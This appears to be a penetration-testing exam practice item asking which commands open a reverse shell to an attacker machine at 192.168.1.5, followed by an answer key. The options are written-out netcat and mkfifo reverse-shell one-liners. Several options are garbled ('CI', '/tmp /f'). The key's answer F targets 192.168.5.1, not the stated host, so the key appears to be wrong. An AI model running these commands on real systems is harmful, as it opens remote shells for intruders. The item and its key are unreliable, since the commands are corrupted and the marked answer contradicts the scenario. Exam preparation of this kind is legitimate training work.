Which of the following are possible ways to do so?

During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5 .

Which of the following are possible ways to do so? (Select TWO)
A . nc 192.168.1.5 44444
B . nc -nlvp 4444 -e /bin/sh
C . rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh CI 2>&1|nc 192.168.1.5 44444>/tmp /f
D . nc -e /bin/sh 192.168.1.5 4444
E . rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh CI 2>&1|nc 192.168.1.5 444444>/tmp /f
F . rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh CI 2>&1|nc 192.168.5.1 44444>/tmp /f

Answer: D,F